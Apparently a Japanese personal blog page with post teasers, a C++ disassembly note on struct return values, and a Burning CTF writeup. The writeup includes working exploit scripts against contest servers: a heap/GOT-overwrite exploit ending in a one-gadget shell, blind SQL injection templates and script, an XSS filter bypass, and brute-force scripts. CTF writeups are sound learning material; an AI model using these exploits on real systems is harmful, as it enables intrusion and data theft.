0x90

一回休み

Chrome拡張を書いてみた話

先日、arXivにコメント・いいね機能をつけるようなChrome拡張を書いてみました。その時の知見です。

続きを読む

SECCON 2016 ヴィジュネル暗号をHaskellで解いてみる

昨日のSECCONのヴィジュネル暗号、Haskellで書いてみようかとも思ったんだけど、どう考えてもPythonのほうが慣れているので本番ではPythonで書いてしまった。 でもやっぱせっかくなのでHaskellで書いてみました。下手の横好きレベルですけどやっぱHaskellは楽しいなあ

続きを読む

SECCON 2016 writeup

ほぼ1年ぶりにCTFに参加。800点と惨憺たる結果ではあったんだけど、やっぱCTF楽しいな~と思いました。 とりあえず、解けた問題の回答だけでもはっつけておきましょう。あとでどうせ参照するのでw

続きを読む

Geforce 1080 GTXでOpenACCをする

最近なんか某サイトの記事の質がどうも全体的に下がっている気がして、まぁせっかくはてブロの垢があるのだからこっちに投稿しようという感じ。

今回やってみたことは、話題(つってももう遅いけど)のGPU, Geforce 1080 GTXでアクセラレーションの規格であるOpenACCを使ってみようという話です。 OpenMPアクセラレータ使えるからACCオワコンじゃんみたいにいう人もいるんだけど、OpenMPはまだまだかな~りimmatureな気がするので、あと5年はOpenACCがイケてると思います。

続きを読む

うわあああ

間違って記事を全削除した(笑)ので、必要そうなのだけキャッシュからコピペしてきました(泣)

C++わからない(´;ω;`)

共同研究者氏に遠慮してPythonを全部C++で書き直してるんですが、

A func() {
  A hoge;
  return hoge;
}

みたいなコードがあった時に、このhogeはどう渡されるのかとか、受ける側は何で受ければいいのかがわかんないので適当にコードを書いてdisasしてみました。

C++弱者ですたすけて

(ていうか本質的にはCで構造体返してるのと同じなので、そこら辺がわかってないC弱者です)

サンプルコード

class A {
  public:
    char hoge[0x100];
};

A testA() {
  A hoge;
  hoge.hoge[0] = 'a';
  return hoge;
}

A testA2() {
  A hoge = testA();
  hoge.hoge[1] = 'b';
  return hoge;
}

int testA3(A hoge) {
  char* aa = hoge.hoge;
  aa[3] = 'c';
  return 0;
}

void getA() {
  A test = testA();
  A test2 = testA2();
  int test3 = testA3(testA());
  int test4 = testA3(test);
}

int main(){return 0;}
$ g++ test.cc
$ objdump -d -M intel a.out | c++filt

ダンプ結果(の必要なとこ)

0000000000400566 <testA()>:
  400566:       55                      push   rbp
  400567:       48 89 e5                mov    rbp,rsp
  40056a:       48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi
  40056e:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  400572:       c6 00 61                mov    BYTE PTR [rax],0x61
  400575:       90                      nop
  400576:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  40057a:       5d                      pop    rbp
  40057b:       c3                      ret    

000000000040057c <testA2()>:
  40057c:       55                      push   rbp
  40057d:       48 89 e5                mov    rbp,rsp
  400580:       48 83 ec 08             sub    rsp,0x8
  400584:       48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi
  400588:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  40058c:       48 89 c7                mov    rdi,rax
  40058f:       e8 d2 ff ff ff          call   400566 <testA()>
  400594:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  400598:       c6 40 01 62             mov    BYTE PTR [rax+0x1],0x62
  40059c:       90                      nop
  40059d:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4005a1:       c9                      leave  
  4005a2:       c3                      ret    

00000000004005a3 <testA3(A)>:
  4005a3:       55                      push   rbp
  4005a4:       48 89 e5                mov    rbp,rsp
  4005a7:       48 8d 45 10             lea    rax,[rbp+0x10]
  4005ab:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4005af:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4005b3:       48 83 c0 03             add    rax,0x3
  4005b7:       c6 00 63                mov    BYTE PTR [rax],0x63
  4005ba:       b8 00 00 00 00          mov    eax,0x0
  4005bf:       5d                      pop    rbp
  4005c0:       c3                      ret    

00000000004005c1 <getA()>:
  4005c1:       55                      push   rbp
  4005c2:       48 89 e5                mov    rbp,rsp
  4005c5:       48 81 ec 10 03 00 00    sub    rsp,0x310
  4005cc:       48 8d 85 f0 fd ff ff    lea    rax,[rbp-0x210]
  4005d3:       48 89 c7                mov    rdi,rax
  4005d6:       e8 8b ff ff ff          call   400566 <testA()>
  4005db:       48 8d 85 f0 fc ff ff    lea    rax,[rbp-0x310]
  4005e2:       48 89 c7                mov    rdi,rax
  4005e5:       e8 92 ff ff ff          call   40057c <testA2()>
  4005ea:       48 8d 85 f0 fe ff ff    lea    rax,[rbp-0x110]
  4005f1:       48 89 c7                mov    rdi,rax
  4005f4:       e8 6d ff ff ff          call   400566 <testA()>
  4005f9:       48 81 ec 00 01 00 00    sub    rsp,0x100
  400600:       48 89 e0                mov    rax,rsp
  400603:       48 89 c7                mov    rdi,rax
  400606:       48 8d 85 f0 fe ff ff    lea    rax,[rbp-0x110]
  40060d:       ba 20 00 00 00          mov    edx,0x20
  400612:       48 89 c6                mov    rsi,rax
  400615:       48 89 d1                mov    rcx,rdx
  400618:       f3 48 a5                rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
  40061b:       e8 83 ff ff ff          call   4005a3 <testA3(A)>
  400620:       48 81 c4 00 01 00 00    add    rsp,0x100
  400627:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  40062a:       48 81 ec 00 01 00 00    sub    rsp,0x100
  400631:       48 89 e0                mov    rax,rsp
  400634:       48 89 c7                mov    rdi,rax
  400637:       48 8d 85 f0 fd ff ff    lea    rax,[rbp-0x210]
  40063e:       ba 20 00 00 00          mov    edx,0x20
  400643:       48 89 c6                mov    rsi,rax
  400646:       48 89 d1                mov    rcx,rdx
  400649:       f3 48 a5                rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
  40064c:       e8 52 ff ff ff          call   4005a3 <testA3(A)>
  400651:       48 81 c4 00 01 00 00    add    rsp,0x100
  400658:       89 45 f8                mov    DWORD PTR [rbp-0x8],eax
  40065b:       90                      nop
  40065c:       c9                      leave  
  40065d:       c3                      ret     

わかったこと

  • 返り値が大きいクラスの場合、呼び出し側のスタックフレームでメモリを確保して、それを引数rdiに詰めている。
    • testAは、次と等価
void testA(A* targ) {
  targ->hoge[0] = 'a';
}
  • testA2の用に、関数内で変数を確保したように見えても、実体は呼び出し元にある。
  • 引数に渡される場合、いったんコピーが必ず発生する。

わかりません

引数で渡すときにコピーが起きないようにしたい。もっと具体的には、

A func() {
  A hoge;
  return hoge;
}

みたいなコードを、std::vectorに突っ込むときに変なコピーが起きないようにしたい

ムリか。。

追記

多分次でいいのかな

vector<A*> vect;
A* aptr = (A*) malloc(sizeof(A));
*aptr = func();

burningctf writeup

場阿忍愚に参加しました。芸術333以外解けての4位でした。思い出せる範囲でwrite upを書いておきたいと思います。

芸術

ワットイズディス?

  • 大和セキュリティ

篆書体は偏と旁に完全に分離しているので虱潰しに調べればおk。

近代デジタルライブラリー - 新撰篆書字典. 巻1を使いました。

cole nanee?

まあこれはそれっぽいかなと。

Lines and Boxes

  • word play

アルファベットになってる。ヒント見るまでわかんなかった。

Why want something more?

  • 如是

教養が低すぎてヒントとの関連がわかりません(泣)

女偏は自明にわかるので、同じく近代デジタルライブラリーの草書字典で有り得そうな漢字を調べます。すると奴か如だとわかるので、後は辞書で引いて虱潰し。 ちなみにこの画像だけ、画像検索にすると掛け軸が引っかかるので熟語だとわかる。

毎日使う

草書では、全体を覆うような格好は嫌がられるそうです。だからきがまえが冠みたいになるんだって(笑)

Extreme Shodo POWER!!

終わってからid:Charo_IT さんにおそわりました。なんだよきのこパワーってよおい

あと、

webcache.googleusercontent.com

先生怒らないから正直に名乗り出なさい

二進術

DxLib遊戯如何様

ollydbgで分岐潰したりして様子を見ました。なんか結局メモリ書き換えて答えが出たはず。いやあほんとwindowsバイナリは勘弁して欲しいっす

Unity遊戯如何様

ilspyでディスコンパイルするとフラグが見えるけど、それをそのまま入れても合わない。そこでilspyではなくjustdecompileを使ってバイナリを編集し、分岐を潰す。その後実行させて答えが出ました。確か全部大文字になってたとかそんなん。

ひとつ書き換える上での注意としては、分岐をつぶすときは全部(else句も含め)潰さないと動きませんでした。なんでだろう。

解読術

image level 5

ファイル名がハッシュっぽいのでぐぐると数字になってることがわかる。その数字順に画像を並び替えて読む。

Ninjya Crypto

「忍者 暗号」でぐぐる

Decrypt RSA

RSAの公開鍵が与えられているので、factordbに突っ込むと素因数分解されて返ってくる。あとはrsatoolを使うと秘密鍵を作ってくれます。

Zach! Take a nap!

ナップザック暗号っていうんだって。ぐぐるとなんか答えがあるんですけど、LLL reductionがmathematica大先生かsageでないと使えない。mathematicaは使いたくないがsageをインストールするのも嫌だなあと思ったらオンライン版がある。あとは誰かが書いてるソースをそのまま流用しておしまい。

cloud.sagemath.com

攻撃術

craSH

バグ見つかんねえなあとかいいながら適当に突っ込んでいくと、

$ echo aaaa > a
$ cat a a a a a a > a

とかにすると落ちることがわかる。catでは文字数を足してからmemcpyでコピーを行うけど、自分から自分にコピーするとおもいっきり溢れちゃうというわけ。

ところでcatしてctrl-dを入れると制御不能になっちゃうんだけど、何ででしょう。craSHをbashから起動するとそうなるけど、zshからではならないんだよね。

で、バグさえ見つかれば後は簡単。ファイルのデータポインタをgotにして、アドレスリークからripを書き換えられる。ROPめんどい~と思いきやOne Gadget RCEでおk

reallocがうざくてハゲそうになるが、ファイルの長さが0だと調整しやすい。この人らの動き方はmalloc動画を見て勉強しましょう。

from pwn import *

local = False

def init(conn):
    print 'init'
    conn.recvuntil('$ ')

    # addr leak
    conn.send('a > a\n')
    conn.recvuntil('$ ')
    conn.send('a > b\n')
    conn.recvuntil('$ ')

    # rewrite data
    conn.send('a > c\n')
    conn.recvuntil('$ ')
    conn.send('a > d\n')
    conn.recvuntil('$ ')

    conn.send('cat > 1\na\x04')
    conn.recvuntil('$ ')
    print 'init fin'

def clear(conn, f):
    print 'clear %s' % f
    conn.send('cat > %s\n\x04' % f)
    conn.recvuntil('$ ')

def set_number(conn, f, num):
    print 'put length into %s' % f
    conn.send('cat > %s\n%s\x04' % (f, p64(num)))
    conn.recvuntil('$ ')
    print 'set padding of %s' % f
    conn.send('cat %s %s> %s\n' % (f, '1 ' * (8 - len(p64(num))), f))
    conn.recvuntil('$ ')

if __name__ == "__main__":
    '''
    ここに飛ばせばおk
    0x7ffff7a7689a <do_system+1098>:     mov    rax,QWORD PTR [rip+0x35e5df]        # 0x7ffff7dd4e80
    0x7ffff7a768a1 <do_system+1105>:     lea    rdi,[rip+0x125fc2]        # 0x7ffff7b9c86a
    0x7ffff7a768a8 <do_system+1112>:     lea    rsi,[rsp+0x30]
 => 0x7ffff7a768ad <do_system+1117>:     mov    DWORD PTR [rip+0x360d89],0x0        # 0x7ffff7dd7640 <lock>
    0x7ffff7a768b7 <do_system+1127>:     mov    DWORD PTR [rip+0x360d83],0x0        # 0x7ffff7dd7644 <sa_refcntr>
    0x7ffff7a768c1 <do_system+1137>:     mov    rdx,QWORD PTR [rax]
    0x7ffff7a768c4 <do_system+1140>:     call   0x7ffff7aef580 <execve>
    local:3f89a
    remote:4652c
    '''
    if local:
        conn = process('./craSH')
        targ_from_malloc = 0x3f89a - 0x7a9d0
    else:
        conn = remote('210.146.64.35', 31337)
        targ_from_malloc = 0x4652c - 0x82750


    echo_addr = 0x603120
    malloc_addr = 0x603090 

    init(conn)

    print 'init a'
    conn.send('cat > a\n\x01\x01\x04')
    conn.recvuntil('$ ')

    print 'init c'
    conn.send('cat > c\n\x01\x01\x04')
    conn.recvuntil('$ ')

    set_number(conn, 'mal', malloc_addr)
    clear(conn, 'a')
    print 'set b to malloc'
    conn.send('cat a a a a a mal > a\n')
    conn.recvuntil('$ ')

    conn.send('cat b\n')
    addr = conn.recvuntil('$ ')

    libc_malloc = u64(addr[:8])
    libc_targ = libc_malloc + targ_from_malloc

    set_number(conn, 'ec', echo_addr)
    clear(conn, 'c')
    print 'set echo addr'
    conn.send('cat c c c c c ec > c\n')
    conn.recvuntil('$ ')
    conn.send('cat > d\n%s\x04' % p64(libc_targ))

    conn.interactive()

さてローカル環境はどのディストリのどのバージョンでしょうかw

Ninja no Aikotoba

4番目がうざいがゴリ押しで行ける。

#include <stdio.h>

encrypt(char *a, int *b){
  int c,d,e;
  for(c=0;c<6;c++){
    b[c] = 0;
    e = a[c]; // > 0
    while( d = e & -e ){ // d = abs(e)
      b[c] += d;
      e-=d;
    }
  }
  
  for(d=0;d<6;d++){
    e=d[a+6];//e = *(d + (a + 6) * 4)?
    while(c=e&-e){
      b[d+6]=((d[a]&a[d+6])<<1L)+(a[d]^d[a+6]);
      d[b]-=c;e-=c;
    };
  }
}

void main(int argc, char **argv) {
  int result[12];
  encrypt(argv[1], result);
  printf("%d", result[0]);
  for (int i=1; i<12; i++) {
      printf(" %d", result[i]);
  }
}
ans = [int(s) for s in "-9 0 0 18 -10 8 159 194 220 212 204 202".split()]

from commands import getoutput

res = [0] * 12

for i in range(6):
    for c1 in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVEXYZ':
        for c2 in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVEXYZ':
            out = getoutput('./a.out %s%s%s%s%s' % ('a' * i, c1, 'a' * 5, c2, 'a' * (5 - i)))
            t = [int(s) for s in out.split()]
            if ans[i] == t[i] and ans[i + 6] == t[i + 6]:
                res[i] = c1
                res[i + 6] = c2
                print res

print ''.join(res)

しかし最後が無理っぽい。ところがローカル環境で適当に入力してみると、実はフラグの内容と入力が違っていても通ってしまう。これは

int is_matched(char *a, char *b, size_t n) {
    int result;
    char save = b[n];

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;
}

がいけないせい。strcmpは\pm1以外の数値も返しちゃうからである。

ここを見る限りなんか簡単なことしかしてないし、実際cmov無効版のglibcではそういう挙動をするんだけれど、cmov有効版だとなんかSSEかなんか使ってる?っぽい。(すげえ適当なこと言ってるかも)

ちゃんと調べるのめんどくさいので適当に入れてみる。おしまい。

from pwn import *
from time import sleep
from sys import exit

if __name__ == "__main__":
    for i in range(10, 200):
        print i
        for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVEXYZ':
            print c
            conn = remote('210.146.64.35', 31338)
            # conn = process('./aikotoba')
            conn.send('Yama\n')
            conn.send('too\n')
            conn.send('KansaiTanaka\n')
            conn.send('Zach\n')
            conn.recv()
            conn.send('%s%s\n' % (c, '0' * i))
            out = conn.recvall()
            print out
            if 'Well' in out:
                print out
                conn.interactive()
                exit(0)
            conn.close()
            sleep(0.1)

解析術

Doubtful Files

なんか解答するとファイル属性みたいなのが一緒に出てくる。その中にbase64

Encrypted Message

volatilityとかいじってるとtruecryptであることがわかる。(aeskeyfind)http://volatility-labs.blogspot.jp/2014/01/truecrypt-master-key-extraction-and.htmlを使うとキーが出るので、あとはこれを改変truecryptに噛ませればおk。ただなんか古いubuntuでないとtruecryptのバイナリが動かなかった。

記述術

search_duplicate_character_string

ひどい こーどだ

with open('181-search_duplicate_character_string') as f: 
    text = f.read().rstrip()

for l in range(1, 1000):
    table = {}
    for i in range(len(text) + 1 - l):
        key = text[i:i+l]
        if key in table:
            table[key] += 1
        else:
            table[key] = 1
    maxw = ''
    maxc = 0
    for k in table.keys():
        if table[k] > maxc:
            maxw = k
            maxc = table[k]
    if maxc <= 1:
        print 'not found'
    else:
        print maxw
        print '%d character'% l

せめてこれなら

for l in range(1, 1000):
    table = []
    for i in range(len(text) + 1 - l):
        key = text[i:i+l]
        if key in table:
            print key
            break
        else:
            table.append(key)

とかでいいよねえ

Count Number Of Flag's SubString!

ごりごり

import urllib2
import time
import re

url = 'http://210.146.64.36:30840/count_number_of_flag_substring/?str=%s'

candidate = 'abcdefghijklmnopqrstuvwxyz_{}'

table = {}

num = re.compile('[0-9]+')

for s in candidate:
    print ('get ' + url) % s
    text = urllib2.urlopen(url % s).read()
    res = num.search(text)
    i = int(res.group(0))
    if i > 0:
        table[s] = i
    time.sleep(0.01)

for t in 'flag':
    table[t] -= 1

key = 'flag={'

while True:
    finished = True
    for k in table.keys():
        if table[k] == 0:
            continue
        finished = False
        text = urllib2.urlopen(url % (key + k)).read()
        res = num.search(text)
        i = int(res.group(0))
        if i == 1:
            key = key + k
            table[k] -= 1
            print key
        time.sleep(0.01)
    if finished:
        break

解凍?

ひたすら入れ子になった圧縮ファイル。スクリプト組んだ。

#!/bin/bash

while :; do
  zip=$(file flag.txt|grep Zip)
  gz=$(file flag.txt|grep -i gz)
  bz2=$(file flag.txt|grep -i bzip2)
  if [ -n "$zip" ]; then
    echo zip
    zcat flag.txt > flag_t.txt
    mv flag_t.txt flag.txt
  elif [ -n "$gz" ]; then
    echo gzip
    zcat flag.txt > flag_t.txt
    mv flag_t.txt flag.txt
  elif [ -n "$bz2" ]; then
    echo bzip2
    bzcat flag.txt > flag_t.txt
    mv flag_t.txt flag.txt
  else
    tar xvf flag.txt
  fi
done

Make sorted Amida kuji!!

あみだくじをとくプログラムを書く。一段回につきありうる横線を全て列挙し、枝刈り。何も考えないで書いたら動いた。

しかしあみだくじソルバって案外需要ないんですかねえ。ぐぐっても出てこなくて悲しいです。

NUM = 10

def swap(arr, i):
    a = arr[i]
    b = arr[i + 1]
    arr[i] = b
    arr[i + 1] = a

def build_element(start, num):
    if start == num:
        return [[]]
    res = build_element(start + 1, num)
    return [[start] + x for x in res if len(x) == 0 or x[0] != start + 1] + res

el = build_element(0, NUM - 1)
answer = []

def check(arr, turn=0, data=[]):
    if turn == NUM:
        answer.append(data)
        return

    for line in el:
        cpy = [i for i in arr]
        for ind in line:
            swap(cpy, ind)
        flag = False
        for i in range(NUM):
            if abs(cpy[i] - i) > NUM - 1 - turn:
                flag = True
                break
        if flag:
            continue
        else:
            check(cpy, turn + 1, data + [line])

def make_flag():
    g = []
    for a in answer:
        e = []
        for i in range(NUM):
            se = [0] * NUM
            for ind in a[i]:
                se[ind] = 1
            e.append(se)
        g.append(e)
    grp = []
    flag_str = ""
    strtes = "qwertyuiopasdfghjklzxcvbnm1234567890_+="
    for i in range(NUM):
        grp.append([])
        for j in range(NUM):
            sum_ = 0
            for k in range(len(g)):
                sum_ += g[k][i][j]
            flag_str += strtes[sum_ % len(strtes)]

    return flag_str

check([9,8,6,5,7,3,2,1,0,4])
print make_flag()

超文書転送術

箱庭XSS

こういうプログラムを作って文字を&#ほげほげ;に変えれば1も2も通っちゃう。

from __future__ import print_function

s = raw_input()

for c in s:
    if c.isalpha():
        print("&#%04d;" % ord(c), end='')
    else:
        print(c, end='')

print('')

yamatodo

cp932を使う

yamatoo

blind sqli。二分探索してません(土下座

import urllib
import urllib2

opener = urllib2.build_opener()
opener.addheaders.append(('Authorization', 'Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4'))
url = 'http://210.146.64.45/'
values = {}

def sendpost(values):
    data = urllib.urlencode(values)
    response = opener.open(url, data)
    text = response.read()
    return text

def sendget(values):
    data = urllib.urlencode(values)
    req = opener.open(url)
    response = opener.open(url + "?" + data)
    text = response.read()
    return text

def check(data):
    return 'proactivedefense' in data

def bisearch(stsq, up=0, down=0, c=256):
    sym = '>'
    if abs(up - c) == 1 or abs(down - c) == 1:
        if abs(up - c) == 1:
            c1 = up
            c2 = c
        else:
            c1 = down
            c2 = c
        if check(sendget({key:templ%(stsq, '=', c1)})):
            return c1
        else:
            return c2

    if check(sendget({key:templ%(stsq, sym, c)})):
        if up < c:
            return bisearch(stsq, 0, c, 2 * c)
        else:
            return bisearch(stsq, up, c, (up + c) / 2)
    else:
        return bisearch(stsq, c, down, (down + c) / 2)

key = 'q'
# templ = "1 = 1 or %s %s %d -- ' ) or "
templ = "''' or %s %s %d ; -- "

if __name__ == '__main__':
    from time import sleep
    length = bisearch("length((select flag from flag limit 1))")
    a = [ord(x) for x in 'flag={']
    for i in xrange(length - len(a)):
        st = "length(replace((select flag from flag), char(%s), char()))"
        flag = False
        for c in xrange(32, 128):
            query = st % (', '.join(str(n) for n in a + [c]))
            if check(sendget({key:templ%(query, '=', length - len(a) - 1)})):
                flag = True
                print 'char %d: %c' % (i, c)
                print templ%(query, '=', length - len(a) - 1)
                a.append(c)
                break
            sleep(0.01)

        if not flag:
            print 'oops'
            print templ%(query, '=', length - 1 - len(a))
    print ''.join(chr(c) for c in a)

Yamatonote

mageさんの公式解の別解2ですw

簡単すぎて笑ってしまったw

さいごに

Burning CTF、面白かったです!飽き性なので、一日ぶっ続けの大会とかは途中でめんどくなってしまうんですけど、こういう形式だと気が向いた時にやれるのでいいですね。あと常設じゃなくて期間を区切ってるのも良かったです。なんか解けない問題の答え知れないと嫌なので。。

運営のみなさまお疲れ様でした!第二弾も期待してます!